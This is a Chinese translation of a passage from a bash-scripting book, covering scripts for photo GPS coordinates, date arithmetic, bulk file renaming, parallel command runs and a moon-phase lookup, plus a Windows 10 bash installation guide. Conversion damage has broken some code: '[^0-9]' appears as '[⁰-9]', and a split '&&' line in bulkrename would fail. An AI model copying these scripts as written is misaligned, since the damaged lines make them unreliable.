现在大多数照片都是用手机或其他智能数字设备拍摄的,这些设备知道它们的纬度和经度。当然,这涉及到隐私问题,但能够准确定位照片拍摄地点也是非常有趣的。不幸的是,虽然 ImageMagick 的 identify 工具可以让你提取这些 GPS 信息,但数据的格式使其难以读取:

exif:GPSLatitude: 40/1, 4/1, 1983/100
exif:GPSLatitudeRef: N
exif:GPSLongitude: 105/1, 12/1, 342/100
exif:GPSLongitudeRef: W

显示的信息是以度、分、秒的形式呈现的——这很合理——但这种格式不太直观,特别是因为像 Google Maps 或 Bing Maps 这样的站点期望的格式更像是:

40 4' 19.83" N, 105 12' 3.42" W

这个脚本将 EXIF 信息转换为后者的格式,以便你可以将数据直接复制粘贴到映射程序中。作为这一过程的一部分,脚本需要解决一些基础方程(请注意,identify 工具提供的纬度秒数值是 1983/100,等于 19.83)。

代码

纬度和经度的概念比你想象的要古老。事实上,葡萄牙地图制作人 Pedro Reinel 早在 1504 年就开始在他的地图上绘制纬度线。计算中也涉及一些特殊的数学。幸运的是,我们不需要手动计算。相反,我们只需知道如何将 EXIF 中的纬度和经度值转换为现代地图应用程序所期望的格式,正如 Listing 14-9 中所看到的那样。这个脚本还使用了 Script #8 中的echon脚本,第 33 页有详细说明。

   #!/bin/bash
   # geoloc--For images that have GPS information, converts that data into
   #   a string that can be fed to Google Maps or Bing Maps

   tempfile="/tmp/geoloc.$$"

   trap "$(which rm) -f $tempfile" 0 1 15

   if [ $# -eq 0 ] ; then
     echo "Usage: $(basename $0) image" >&2
     exit 1
   fi

   for filename
   do
     identify -format➊ "%[EXIF:*]" "$filename" | grep GPSL > $tempfile

➋   latdeg=$(head -1 $tempfile | cut -d, -f1 | cut -d= -f2)
     latdeg=$(scriptbc -p 0 $latdeg)
     latmin=$(head -1 $tempfile | cut -d, -f2)
     latmin=$(scriptbc -p 0 $latmin)
     latsec=$(head -1 $tempfile | cut -d, -f3)
     latsec=$(scriptbc $latsec)
     latorientation=$(sed -n '2p' $tempfile | cut -d= -f2)

     longdeg=$(sed -n '3p' $tempfile | cut -d, -f1 | cut -d= -f2)
     longdeg=$(scriptbc -p 0 $longdeg)
     longmin=$(sed -n '3p' $tempfile | cut -d, -f2)
     longmin=$(scriptbc -p 0 $longmin)
     longsec=$(sed -n '3p' $tempfile | cut -d, -f3)
     longsec=$(scriptbc $longsec)
     longorientation=$(sed -n '4p' $tempfile | cut -d= -f2)

➌   echon "Coords: $latdeg ${latmin}' ${latsec}\" $latorientation, "
     echo "$longdeg ${longmin}' ${longsec}\" $longorientation"

   done

   exit 0

Listing 14-9: The *geoloc* 脚本

原理

每次我们探索使用 ImageMagick 时,我们都会发现有新的参数和新的方法来利用它的功能。在这个案例中,事实证明你可以在➊处使用-format参数,仅提取与图像关联的 EXIF 信息中的特定匹配参数。

请注意,我们使用GPSL作为grep的匹配模式,而不是GPS。这样我们就不用去筛选其他额外的 GPS 相关信息了。试试去掉L,看看会打印出多少其他 EXIF 数据!

之后,就是提取特定的信息字段,并通过scriptbc解决数学方程,将数据转换为有意义的格式,就像➋处的latdeg行所展示的那样。

到目前为止,使用cut的管道命令应该已经不陌生了。这些是非常有用的脚本工具!

一旦所有数据提取完成,所有方程式解决之后,我们需要以符合标准的纬度和经度表示方式重新组合信息,就像我们在➌处所做的那样。这样就完成了!

运行脚本

给脚本输入一张图像,如果文件包含纬度和经度信息,脚本将其转换为可以被 Google Maps、Bing Maps 或任何其他主要地图程序分析的格式,正如 Listing 14-10 所示。

结果

$ geoloc parking-lot-with-geotags.jpg
Coords: 40 3' 19.73" N, 103 12' 3.72" W
$

Listing 14-10: 运行 *geoloc* 脚本

破解脚本

如果输入一张没有 EXIF 信息的照片会发生什么呢?这正是脚本应该优雅地处理的问题,而不仅仅是输出一个由于bc调用失败而产生的错误信息,或者打印出空的坐标,不是吗?增加一些防御性代码,确保从 ImageMagick 提取的 GPS 位置信息是合理的,将是一个有用的改进。

第十六章:日期与星期

image

计算日期数学是棘手的,无论是要确定某一年是否为闰年,距离圣诞节还有多少天,还是你已经活了多少天。在这一点上,Unix 系统(如 OS X)和基于 GNU 的 Linux 系统之间存在巨大差距。David MacKenzie 为 GNU 版本的 Linux 重写的 date 工具在功能上远远优于其他工具。

如果你使用的是 OS X 或其他系统,其中 date --version 会生成错误信息,你可以下载一组核心工具,它们会提供 GNU date 作为新的命令行选项(可能会以 gdate 安装)。对于 OS X,你可以使用 brew 包管理器(默认未安装,但可以轻松安装,以备未来使用):

$ brew install coreutils

一旦安装了 GNU date,例如计算某一年是否为闰年,可以由程序自动处理,而不需要你去操作那些关于能被 4 整除但不能被 100 整除等复杂规则。

if [ $( date 12/31/$year +%j ) -eq 366 ]

换句话说,如果一年中的最后一天是第 366 天,那一定是闰年。

另一个使 GNU date 优越的特点是它能够回溯很久以前的时间。标准的 Unix date 命令是以 1970 年 1 月 1 日 00:00:00 UTC 作为“时间零”或纪元日期构建的。如果你想了解 1965 年发生的事情?那可难了。幸运的是,借助本章的三个巧妙脚本,你可以利用 GNU date 的优势。

#99 查找过去特定日期的星期几

快问:你出生那天是星期几?尼尔·阿姆斯特朗和巴兹·奥尔德林第一次登上月球时是星期几?清单 15-1 中的脚本可以帮助你快速回答这些经典问题,并展示 GNU date 的强大功能。

代码

   #!/bin/bash
   # dayinpast--Given a date, reports what day of the week it was

   if [ $# -ne 3 ] ; then
     echo "Usage: $(basename $0) mon day year" >&2
     echo "  with just numerical values (ex: 7 7 1776)" >&2
     exit 1
   fi

   date --version > /dev/null 2>&1    # Discard error, if any.
   baddate="$?"                       # Just look at return code.

   if [ ! $baddate ] ; then
➊   date -d $1/$2/$3 +"That was a %A."
   else

     if [ $2 -lt 10 ] ; then
       pattern=" $2[⁰-9]"
     else
       pattern="$2[⁰-9]"
     fi

     dayofweek="$(➋ncal $1 $3 | grep "$pattern" | cut -c1-2)"

     case $dayofweek in
       Su ) echo "That was a Sunday.";        ;;
       Mo ) echo "That was a Monday.";        ;;
       Tu ) echo "That was a Tuesday.";       ;;
       We ) echo "That was a Wednesday.";     ;;
       Th ) echo "That was a Thursday.";      ;;
       Fr ) echo "That was a Friday.";        ;;
       Sa ) echo "That was a Saturday.";      ;;
     esac
   fi
   exit 0

清单 15-1: *dayinpast* 脚本

它是如何工作的

你知道我们一直在推崇 GNU date 吧?这就是原因。这个脚本最终只需要在 ➊ 处执行一次。

简单得不可思议。

如果该版本的 date 不可用,脚本会使用 ncal ➋,这是一个简单的 cal 程序的变体,以一种独特但有用的格式呈现指定月份的日历:

$ ncal 8 1990
    August 1990
Mo     6 13 20 27
Tu     7 14 21 28
We  1  8 15 22 29
Th  2  9 16 23 30
Fr  3 10 17 24 31
Sa  4 11 18 25
Su  5 12 19 26

有了这些信息,确定星期几变得非常简单,只需找到对应日期的行,并将两字母的星期缩写翻译成完整的名称。

运行脚本

尼尔·阿姆斯特朗和巴兹·奥尔德林于 1969 年 7 月 20 日登陆宁静海基地,清单 15-2 显示那天是星期天。

$ dayinpast 7 20 1969
That was a Sunday.

清单 15-2:运行 *dayinpast* 脚本,日期为阿姆斯特朗和奥尔德林登月的日期

诺曼底盟军大规模登陆的 D 日是 1944 年 6 月 6 日:

$ dayinpast 6 6 1944
That was a Tuesday.

还有一个,美国独立宣言签署的日期是 1776 年 7 月 4 日:

$ dayinpast 7 4 1776
That was a Thursday.

破解脚本

本章中的所有脚本都使用相同的 *month day year* 输入格式,但如果能让用户指定更熟悉的格式,比如 *month*/*day*/ *year*,那会更好。幸运的是,这并不难实现,且脚本 #3 在第 17 页是一个很好的起点。

#100 计算两个日期之间的天数

你已经活了多少天?自从你父母相遇以来已经过了多少天?有很多类似的问题与经过的时间有关,而答案通常很难计算。然而,GNU date 使得这件事变得更简单。

脚本 #100 和脚本 #101 都基于通过计算起始年和结束年之间的天数差异以及每个年份中间的天数来计算两个日期之间的天数的概念。你可以使用这种方法来计算某个过去的日期距离现在有多少天(这个脚本),以及某个未来的日期还有多少天(脚本 #101)。

示例 15-3 相当复杂。准备好了吗?

代码

   #!/bin/bash
   # daysago--Given a date in the form month/day/year, calculates how many
   #   days in the past that was, factoring in leap years, etc.

   # If you are on Linux, this should only be 'which date'.
   #   If you are on OS X, install coreutils with brew or from source for gdate.
   date="$(which gdate)"

   function  daysInMonth
   {
     case $1 in
       1|3|5|7|8|10|12 ) dim=31 ;;  # Most common value
       4|6|9|11        ) dim=30 ;;
       2               ) dim=29 ;;  # Depending on whether it's a leap year
       *               ) dim=-1 ;;  # Unknown month
     esac
   }

➊ function isleap
   {
     # Returns nonzero value for $leapyear if $1 was a leap year
       leapyear=$($date -d 12/31/$1 +%j | grep 366)
   }

   #######################
   #### MAIN BLOCK
   #######################

   if [ $# -ne 3 ] ; then
     echo "Usage: $(basename $0) mon day year"
     echo "  with just numerical values (ex: 7 7 1776)"
     exit 1
   fi

➋ $date --version > /dev/null 2>&1         # Discard error, if any.

   if [ $? -ne 0 ] ; then
     echo "Sorry, but $(basename $0) can't run without GNU date." >&2
     exit 1
   fi

   eval $($date "+thismon=%m;thisday=%d;thisyear=%Y;dayofyear=%j")

   startmon=$1; startday=$2; startyear=$3

   daysInMonth $startmon # Sets global var dim.

   if [ $startday -lt 0 -o $startday -gt $dim ] ; then
     echo "Invalid: Month #$startmon only has $dim days." >&2
     exit 1
   fi

   if [ $startmon -eq 2 -a $startday -eq 29 ] ; then
     isleap $startyear
     if [ -z "$leapyear" ] ; then
       echo "Invalid: $startyear wasn't a leap year; February had 28 days." >&2
       exit 1
     fi
   fi

   #######################
   #### CALCULATING DAYS
   #######################

   #### DAYS LEFT IN START YEAR

   # Calculate the date string format for the specified starting date.

   startdatefmt="$startmon/$startday/$startyear"

➌ calculate="$((10#$($date -d "12/31/$startyear" +%j))) \
     -$((10#$($date -d $startdatefmt +%j)))"

   daysleftinyear=$(( $calculate ))

   #### DAYS IN INTERVENING YEARS

   daysbetweenyears=0
   tempyear=$(( $startyear + 1 ))

   while [ $tempyear -lt $thisyear ] ; do
     daysbetweenyears=$(($daysbetweenyears + \
     $((10#$($date -d "12/31/$tempyear" +%j)))))
     tempyear=$(( $tempyear + 1 ))
   done

   #### DAYS IN CURRENT YEAR

➍ dayofyear=$($date +%j) # That's easy!

   #### NOW ADD IT ALL UP

   totaldays=$(( $((10#$daysleftinyear)) + \
     $((10#$daysbetweenyears)) + \
     $((10#$dayofyear)) ))

   /bin/echo -n "$totaldays days have elapsed between "
   /bin/echo -n "$startmon/$startday/$startyear "
   echo "and today, day $dayofyear of $thisyear."
   exit 0

示例 15-3: *daysago* 脚本

工作原理

这是一个长脚本,但其原理并不复杂。闰年函数 ➊ 很简单——我们只需检查该年份是否有 366 天。

有一个有趣的测试,确保在脚本继续之前,GNU 版本的 date 是可用的 ➋。

重定向会丢弃任何错误信息或输出,返回码会被检查以确定是否为非零值,如果是非零值,则表示解析--version参数时出错。例如,在 OS X 上,date 命令是最简化的,并没有--version或许多其他功能。

现在只是基础的日期计算。%j 返回年份中的第几天,因此它使得计算当前年份剩余的天数变得非常简单 ➌。介于两年之间的天数在 while 循环中计算,其中进度通过 tempyear 变量来跟踪。

最后,当前年份已经过去了多少天?这在 ➍ 很容易算出来。

dayofyear=$($date +%j)

然后只需将天数相加就能得到结果!

运行脚本

让我们再看一下示例 15-4 中的那些历史日期。

$ daysago 7 20 1969
17106 days have elapsed between 7/20/1969 and today, day 141 of 2016.

$ daysago 6 6 1944
26281 days have elapsed between 6/6/1944 and today, day 141 of 2016.

$ daysago 1 1 2010
2331 days have elapsed between 1/1/2010 and today, day 141 of 2016.

示例 15-4:使用不同日期运行 *daysago* 脚本

这些都是运行在... 好吧,让我们让 date 来告诉我们:

$ date
Fri May 20 13:30:49 UTC 2016

破解脚本

脚本没有捕捉到一些额外的错误情况,特别是在过去的日期距离现在只有几天,甚至是未来几天的边界情况。会发生什么?你怎么修复它?(提示:看看脚本 #101,了解你可以对这个脚本应用的更多测试。)

#101 计算直到指定日期的天数

脚本 #100 的逻辑伙伴daysago是另一个脚本daysuntil。这个脚本本质上执行相同的计算,但修改了逻辑,以计算当前年份剩余的天数、跨年年份的天数以及目标年份指定日期之前的天数,正如列表 15-5 所示。

代码

   #!/bin/bash
   # daysuntil--Basically, this is the daysago script backward, where the
   #   desired date is set as the current date and the current date is used
   #   as the basis of the daysago calculation.
 # As in the previous script, use 'which gdate' if you are on OS X.
   #   If you are on Linux, use 'which date'.
   date="$(which gdate)"

   function daysInMonth
   {
     case $1 in
       1|3|5|7|8|10|12 ) dim=31 ;;  # Most common value
       4|6|9|11        ) dim=30 ;;
       2               ) dim=29 ;;  # Depending on whether it's a leap year
       *               ) dim=-1 ;;  # Unknown month
     esac
   }

   function isleap
   {
     # If specified year is a leap year, returns nonzero value for $leapyear

     leapyear=$($date -d 12/31/$1 +%j | grep 366)
   }

   #######################
   #### MAIN BLOCK
   #######################

   if [ $# -ne 3 ] ; then
     echo "Usage: $(basename $0) mon day year"
     echo "  with just numerical values (ex: 1 1 2020)"
     exit 1
   fi

   $date --version > /dev/null 2>&1         # Discard error, if any.

   if [ $? -ne 0 ] ; then
     echo "Sorry, but $(basename $0) can't run without GNU date." >&2
     exit 1
   fi

   eval $($date "+thismon=%m;thisday=%d;thisyear=%Y;dayofyear=%j")

   endmon=$1; endday=$2; endyear=$3

   # Lots of parameter checks needed...

   daysInMonth $endmon    # Sets $dim variable
   if [ $endday -lt 0 -o $endday -gt $dim ] ; then
     echo "Invalid: Month #$endmon only has $dim days." >&2
     exit 1
   fi

   if [ $endmon -eq 2 -a $endday -eq 29 ] ; then
     isleap $endyear
 if [ -z "$leapyear" ] ; then
       echo "Invalid: $endyear wasn't a leapyear; February had 28 days." >&2
       exit 1
     fi
   fi

   if [ $endyear -lt $thisyear ] ; then
     echo "Invalid: $endmon/$endday/$endyear is prior to the current year." >&2
     exit 1
   fi

   if [ $endyear -eq $thisyear -a $endmon -lt $thismon ] ; then
     echo "Invalid: $endmon/$endday/$endyear is prior to the current month." >&2
     exit 1
   fi

   if [ $endyear -eq $thisyear -a $endmon -eq $thismon -a $endday -lt $thisday ]
   then
     echo "Invalid: $endmon/$endday/$endyear is prior to the current date." >&2
     exit 1
   fi

➊ if [ $endyear -eq $thisyear -a $endmon -eq $thismon -a $endday -eq $thisday ]
   then
     echo "There are zero days between $endmon/$endday/$endyear and today." >&2
     exit 0
   fi

   #### If we're working with the same year, the calculation is a bit different.

   if [ $endyear -eq $thisyear ] ; then

     totaldays=$(( $($date -d "$endmon/$endday/$endyear" +%j) - $($date +%j) ))

   else

     #### Calculate this in chunks, starting with days left in this year.

     #### DAYS LEFT IN START YEAR

     # Calculate the date string format for the specified starting date.

     thisdatefmt="$thismon/$thisday/$thisyear"

     calculate="$($date -d "12/31/$thisyear" +%j) - $($date -d $thisdatefmt +%j)"

     daysleftinyear=$(( $calculate ))

     #### DAYS IN INTERVENING YEARS

     daysbetweenyears=0
     tempyear=$(( $thisyear + 1 ))
     while [ $tempyear -lt $endyear ] ; do
       daysbetweenyears=$(( $daysbetweenyears + \
         $($date -d "12/31/$tempyear" +%j) ))
       tempyear=$(( $tempyear + 1 ))
     done

     #### DAYS IN END YEAR

     dayofyear=$($date --date $endmon/$endday/$endyear +%j)    # That's easy!

     #### NOW ADD IT ALL UP

     totaldays=$(( $daysleftinyear + $daysbetweenyears + $dayofyear ))
   fi

   echo "There are $totaldays days until the date $endmon/$endday/$endyear."
   exit 0

列表 15-5:*daysuntil** 脚本*

它是如何工作的

如我们所说,daysago 脚本和这个脚本之间有很多重叠,足以让你将它们合并为一个脚本,并通过条件判断来测试用户请求的是过去的日期还是未来的日期。这里的大部分数学运算实际上是daysago脚本中的数学运算的逆操作,是向未来看而不是向过去看。

然而,这个脚本稍微干净一些,因为它在执行实际计算之前考虑了更多的错误条件。例如,我们最喜欢的测试,见 ➊。

如果有人试图通过指定今天的日期来欺骗脚本,这个条件判断会捕捉到这一点并返回“零天”作为计算结果。

运行脚本

离 2020 年 1 月 1 日还有多少天?列表 15-6 给出了答案。

$ daysuntil 1 1 2020
There are 1321 days until the date 1/1/2020.

列表 15-6:运行*daysuntil** 脚本,使用 2020 年的第一天*

离 2025 年圣诞节还有多少天?

$ daysuntil 12 25 2025
There are 3506 days until the date 12/25/2025.

准备迎接美国的三百周年纪念了吗?这里是你剩余的天数:

$ daysuntil 7 4 2076
There are 21960 days until the date 7/4/2076.

最后,考虑到以下情况,我们很可能不会活到第三个千年:

$ daysuntil 1 1 3000
There are 359259 days until the date 1/1/3000.

黑客脚本

在脚本 #99 中,我们能够确定给定日期是星期几。将这个功能与daysagodaysuntil脚本的功能结合在一起,一次性获取所有相关信息将非常有用。

第十七章:A

在 Windows 10 上安装 Bash

image

就在我们准备出版这本书时,微软发布了适用于 Windows 的 bash shell——我们怎么能在讲解 shell 脚本编程的书中不提及这个新选项呢?

问题在于,你不仅需要运行 Windows 10,还需要安装 Windows 10 周年更新版(版本 14393,发布于 2016 年 8 月 2 日)。你还需要一款支持 x64 的处理器,并且是 Windows Insider 计划的成员。这样你就可以开始安装 bash 了!

首先,加入 Insider 计划,网址是 insider.windows.com/。加入是免费的,它将为你提供一个便捷的方式来将 Windows 更新至周年版。Insider 计划有一个 Windows 10 升级助手,能提示你更新,因此使用它来更新至所需的版本。这可能需要一些时间,完成后你需要重启系统。

开启开发者模式

一旦你加入了 Windows Insider 计划并安装了 Windows 10 周年版,就需要进入开发者模式。首先,进入设置并搜索“开发者模式”。此时应该会出现“使用开发者功能”部分。从这里,选择开发者模式,如图 A-1 所示。

image

图 A-1:在 Windows 10 中启用开发者模式

当你选择开发者模式时,Windows 可能会警告你,开启开发者模式可能会让你的设备暴露于风险之中。这个警告是有道理的:进入开发者模式确实会让你面临更大的风险,因为你可能会不小心从未批准的站点安装程序。然而,如果你能保持谨慎和警惕,我们鼓励你继续操作,这样至少可以测试一下 bash 系统。点击警告后,Windows 会下载并安装一些额外的软件,安装过程需要几分钟。

接下来,你需要进入 Windows 的传统设置界面,以启用适用于 Linux 的 Windows 子系统。(微软居然有 Linux 子系统,真是太酷了!)通过搜索“开启 Windows 功能”进入该界面。此时会弹出一个包含多个服务和功能的窗口,每个功能旁边都有复选框(见图 A-2)。

不要取消任何勾选项;只需勾选适用于 Linux 的 Windows 子系统(Beta)。然后点击确定

系统会提示你重启,以便完全启用 Linux 子系统和新的开发者工具。请按照提示操作。

image

图 A-2:开启或关闭 Windows 功能窗口

安装 Bash

现在你准备好从命令行安装 bash 了!确实是老派操作。在开始菜单中,搜索“命令提示符”并打开命令窗口。然后直接输入 **bash**,系统会提示你安装 bash 软件,正如图 A-3 所示。输入 **y**,bash 就会开始下载。

image

图 A-3:在 Windows 10 的命令行系统中安装 bash

下载、编译和安装的内容非常多,因此这个步骤也需要一些时间。一旦安装完成,你将被提示输入一个 Unix 用户名和密码。你可以选择任何你喜欢的用户名和密码,它们不需要与你的 Windows 用户名和密码匹配。

现在你已经在 Windows 10 系统中拥有了一个完整的 bash shell,如图 A-4 所示。当你打开命令提示符时,只需输入bash,bash 就可以使用了。

image

图 A-4:是的,我们正在命令提示符中运行 bash。就在 Windows 10 上!

微软的 Bash Shell 与 Linux 发行版

到目前为止,Windows 上的 bash 更像是一种好奇心,而不是对 Windows 10 用户非常有用的工具,但了解它还是有好处的。如果你只有 Windows 10 系统可用,并且想要了解更多关于 bash shell 脚本编程的内容,不妨试试看。

如果你对 Linux 更加认真,双系统启动 PC 并安装一个 Linux 发行版,甚至在虚拟机中运行完整的 Linux 发行版(尝试 VMware,它是一个很好的虚拟化解决方案),将会更加适合你。

但仍然要给微软点赞,将 bash 添加到 Windows 10 中。非常酷。

第十八章:B

附加脚本

image

因为我们无法拒绝这些珍品!在我们开发第二版时,最终我们写了几个备份脚本。结果我们并不需要这些备用脚本,但我们不想把我们的秘密武器藏着不让读者知道。

前两个附加脚本是为系统管理员设计的,他们需要管理大量文件的迁移或处理。最后一个脚本是为那些总是在寻找下一个即将被转化为 shell 脚本的 web 服务的 web 用户准备的;我们将抓取一个帮助我们跟踪月亮各个阶段的网站!

#102 批量重命名文件

系统管理员经常需要将许多文件从一个系统移动到另一个系统,而且在新系统中,文件通常需要完全不同的命名方案。对于一些文件,手动重命名很简单,但当需要重命名数百或数千个文件时,这立即成为一个更适合用 shell 脚本完成的任务。

代码

Listing B-1 中的简单脚本接受两个参数用于匹配和替换的文本,以及一个指定要重命名的文件的参数列表(这些文件可以通过通配符方便地使用)。

   #!/bin/bash
   # bulkrename--Renames specified files by replacing text in the filename

➊ printHelp()
   {
     echo "Usage: $0 -f find -r replace FILES_TO_RENAME*"
     echo -e "\t-f The text to find in the filename"
     echo -e "\t-r The replacement text for the new filename"
     exit 1
   }

➋ while getopts "f:r:" opt
   do
     case "$opt" in
       r ) replace="$OPTARG"    ;;
       f ) match="$OPTARG"      ;;
       ? ) printHelp            ;;
     esac
   done

   shift $(( $OPTIND - 1 ))

   if [ -z $replace➌ ] || [ -z $match➍ ]
   then
     echo "You need to supply a string to find and a string to replace";
     printHelp
   fi

➎ for i in $@
   do
     newname=$(echo $i | ➏sed "s/$match/$replace/")
     mv $i $newname
     && echo "Renamed file $i to $newname"
   done

Listing B-1: *bulkrename* 脚本

工作原理

我们首先定义一个printHelp()函数 ➊,它将打印所需的参数和脚本的目的,然后退出。在定义了新函数后,代码使用getopts ➋(如同之前的脚本中一样)迭代脚本传入的参数,当指定了参数时,将值赋给replacematch变量。

脚本接着检查我们是否为稍后使用的变量提供了值。如果replace ➌和match ➍变量的长度为零,脚本会打印错误消息,告诉用户他们需要提供一个查找字符串和一个替换字符串。然后脚本打印printHelp文本并退出。

在验证matchreplace有值之后,脚本开始迭代其余指定的参数 ➎,这些参数应该是需要重命名的文件。我们使用sed ➏将文件名中的match字符串替换为replace字符串,并将新文件名存储在一个 bash 变量中。存储了新文件名后,我们使用mv命令将文件移动到新文件名,并打印一条消息告诉用户文件已经被重命名。

运行脚本

bulkrename shell 脚本接受两个字符串参数和要重命名的文件(这些文件可以通过通配符方便地使用;否则,必须逐个列出)。如果指定了无效的参数,将打印一条友好的帮助消息,如 Listing B-2 所示。

结果

   $ ls ~/tmp/bulk
   1_dave  2_dave  3_dave  4_dave
   $ bulkrename
   You need to supply a string to find and a string to replace
   Usage: bulkrename -f find -r replace FILES_TO_RENAME*
     -f The text to find in the filename
     -r The replacement text for the new filename
➊ $ bulkrename -f dave -r brandon ~/tmp/bulk/*
   Renamed file /Users/bperry/tmp/bulk/1_dave to /Users/bperry/tmp/bulk/1_brandon
   Renamed file /Users/bperry/tmp/bulk/2_dave to /Users/bperry/tmp/bulk/2_brandon
   Renamed file /Users/bperry/tmp/bulk/3_dave to /Users/bperry/tmp/bulk/3_brandon
   Renamed file /Users/bperry/tmp/bulk/4_dave to /Users/bperry/tmp/bulk/4_brandon
   $ ls ~/tmp/bulk
   1_brandon  2_brandon  3_brandon  4_brandon

Listing B-2: 运行*bulkrename* 脚本

你可以单独列出要重命名的文件,或者使用文件路径中的星号(*)进行通配符匹配,就像我们在 ➊ 中所做的那样。每个重命名的文件在被移动后都会显示其新名称,以确保用户文件已按预期重命名。

破解脚本

有时,将文件名中的文本替换为特殊字符串(如今天的日期或时间戳)可能会很有用。这样,你就能知道文件是什么时候重命名的,而不需要在-r参数中指定今天的日期。你可以通过在脚本中添加特殊标记来实现这一点,这些标记在文件重命名时会被替换。例如,你可以有一个replace字符串,其中包含%d%t,它们在文件重命名时分别被今天的日期或时间戳替换。

这样的特殊标记可以使文件移动以备份变得更容易。你可以添加一个cron作业来移动某些文件,这样脚本就会自动更新文件名中的动态标记,而不必在想要更改文件名中的日期时更新cron作业。

#103 在多处理器机器上批量运行命令

本书首次出版时,除非你从事服务器或大型主机相关工作,否则拥有多核或多处理器的机器是非常罕见的。如今,大多数笔记本电脑和台式机都有多个核心,使得计算机可以同时处理更多的任务。但有时你想要运行的程序无法充分利用这种处理能力的增加,可能一次只能使用一个核心;要利用更多的核心,你需要同时运行多个程序实例。

假设你有一个将图像文件从一种格式转换为另一种格式的程序,并且有大量的文件需要转换!让一个进程依次串行转换每个文件(一个接一个,而不是并行转换)可能需要很长时间。将文件分配到多个进程中并行处理会更快。

清单 B-3 中的脚本详细介绍了如何将给定的命令并行化,以便一次运行多个进程。

注意

如果你没有多核的计算机,或者程序因为其他原因(如硬盘访问瓶颈)而变慢,运行多个并行实例可能会对性能产生不利影响。启动过多进程可能会使系统负担过重,因此要小心。幸运的是,即便是树莓派现在也有多个核心了!

代码

   #!/bin/bash
   # bulkrun--Iterates over a directory of files, running a number of
   #   concurrent processes that will process the files in parallel

   printHelp()
   {
     echo "Usage: $0 -p 3 -i inputDirectory/ -x \"command -to run/\""
➊   echo -e "\t-p The maximum number of processes to start concurrently"
➋   echo -e "\t-i The directory containing the files to run the command on"
➌   echo -e "\t-x The command to run on the chosen files"
     exit 1
   }

➍ while getopts "p:x:i:" opt
   do
     case "$opt" in
       p ) procs="$OPTARG"    ;;
       x ) command="$OPTARG"  ;;
       i ) inputdir="$OPTARG" ;;
       ? ) printHelp          ;;
     esac
   done

   if [[ -z $procs || -z $command || -z $inputdir ]]
   then
➎   echo "Invalid arguments"
     printHelp
   fi

   total=➏$(ls $inputdir | wc -l)
   files="$(ls -Sr $inputdir)"

➐ for k in $(seq 1 $procs $total)
   do
➑   for i in $(seq 0 $procs)
     do
       if [[ $((i+k)) -gt $total ]]
       then
         wait
         exit 0
       fi

       file=➒$(echo "$files" | sed $(expr $i + $k)"q;d")
       echo "Running $command $inputdir/$file"
       $command "$inputdir/$file"&
     done

➓ wait
   done

清单 B-3: The *bulkrun* 脚本

工作原理

bulkrun 脚本接受三个参数:同时运行的最大进程数 ➊,包含待处理文件的目录 ➋,以及要执行的命令(后缀为要处理的文件名) ➌。通过 getopts 解析用户提供的参数 ➍ 后,脚本检查用户是否提供了这三个参数。如果在处理用户参数后,procscommandinputdir 变量未定义,脚本将打印错误信息 ➎ 和帮助文本,然后退出。

一旦我们确定了运行并行进程所需的变量,脚本的真正工作就可以开始了。首先,脚本确定要处理的文件数量 ➏ 并保存文件列表,以备后用。然后,脚本开始一个 for 循环,用来跟踪到目前为止处理了多少文件。这个 for 循环使用 seq 命令 ➐ 从 1 到指定的文件总数迭代,并使用将并行运行的进程数作为增量步长。

在其中还有一个 for 循环 ➑ 用于跟踪在给定时间启动的进程数量。这个内部的 for 循环也使用 seq 命令从 0 迭代到指定的进程数,默认增量步长为 1。在每次内部 for 循环的迭代中,脚本从文件列表 ➒ 中提取一个新文件,使用 sed 打印出我们需要的文件,并在后台使用 & 符号运行提供的命令。

当最大进程数在后台启动后,wait 命令 ➓ 会告诉脚本休眠,直到后台所有命令完成处理。wait 完成后,整个工作流将重新开始,继续处理更多文件。这类似于我们在脚本 bestcompress 中快速实现最佳压缩的方法(脚本 #34 在 第 113 页)。

运行脚本

使用 bulkrun 脚本非常简单。它接受的三个参数分别是同时运行的最大进程数、要处理的文件目录和要在文件上执行的命令。例如,如果你想并行地运行 ImageMagick 工具 mogrify 来调整图像目录中的图片大小,你可以运行类似于 列表 B-4 的命令。

结果

$ bulkrun -p 3 -i tmp/ -x "mogrify -resize 50%"
Running mogrify -resize 50% tmp//1024-2006_1011_093752.jpg
Running mogrify -resize 50% tmp//069750a6-660e-11e6-80d1-001c42daa3a7.jpg
Running mogrify -resize 50% tmp//06970ce0-660e-11e6-8a4a-001c42daa3a7.jpg
Running mogrify -resize 50% tmp//0696cf00-660e-11e6-8d38-001c42daa3a7.jpg
Running mogrify -resize 50% tmp//0696cf00-660e-11e6-8d38-001c42daa3a7.jpg
--snip--

列表 B-4:运行 *bulkrun* 命令并行化 *mogrify* ImageMagick 命令

修改脚本

能够在命令中指定文件名,或者使用类似于在 bulkrename 脚本中提到的令牌(脚本 #102 在 第 346 页)是非常有用的:这些特殊字符串在运行时被动态值替换(例如 %d,它被当前日期替换,或者 %t,它被时间戳替换)。更新脚本,使其能够在命令或文件名中替换类似日期或时间戳的特殊令牌,在处理文件时会非常有帮助。

另一个有用的技巧可能是使用 time 工具跟踪所有处理所需的时间。如果脚本能打印统计信息,显示将处理多少文件,已处理多少文件,还剩多少文件,那么在处理一项真正庞大的工作时,了解这些信息是非常有价值的。

#104 查找月相

无论你是狼人、女巫,还是单纯对农历感兴趣,跟踪月相并了解盈亏和凸月(月亮几乎与长臂猿无关)是非常有用且具有教育意义的。

让事情变得复杂的是,月亮的轨道周期为 27.32 天,并且它的月相实际上取决于你在地球上的位置。不过,给定一个特定日期,还是可以计算出月亮的相位。

但既然有很多在线站点已经可以计算过去、现在或未来的任意日期的月相,为什么还要做这么多工作呢?在列表 B-5 中的脚本,我们将利用 Google 使用的同一站点,如果你搜索当前月相,网站是:* www.moongiant.com/ *。

代码

   #!/bin/bash

   # moonphase--Reports the phase of the moon (really the percentage of
   #   illumination) for today or a specified date

   # Format of Moongiant.com query:
   #   http://www.moongiant.com/phase/MM/DD/YYYY

   # If no date is specified, use "today" as a special value.

   if [ $# -eq 0 ] ; then
     thedate="today"
   else
     # Date specified. Let's check whether it's in the right format.
      mon="$(echo $1 | cut -d/ -f1)"
      day="$(echo $1 | cut -d/ -f2)"
     year="$(echo $1 | cut -d/ -f3)"

➊   if [ -z "$year" -o -z "$day" ] ; then     # Zero length?
       echo "Error: valid date format is MM/DD/YYYY"
       exit 1
     fi
     thedate="$1" # No error checking = dangerous
   fi

   url="http://www.moongiant.com/phase/$thedate"
➋ pattern="Illumination:"

➌ phase="$( curl -s "$url" | grep "$pattern" | tr ',' '\
   ' | grep "$pattern" | sed 's/[⁰-9]//g')"

   # Site output format is "Illumination: <span>NN%\n<\/span>"

   if [ "$thedate" = "today" ] ; then
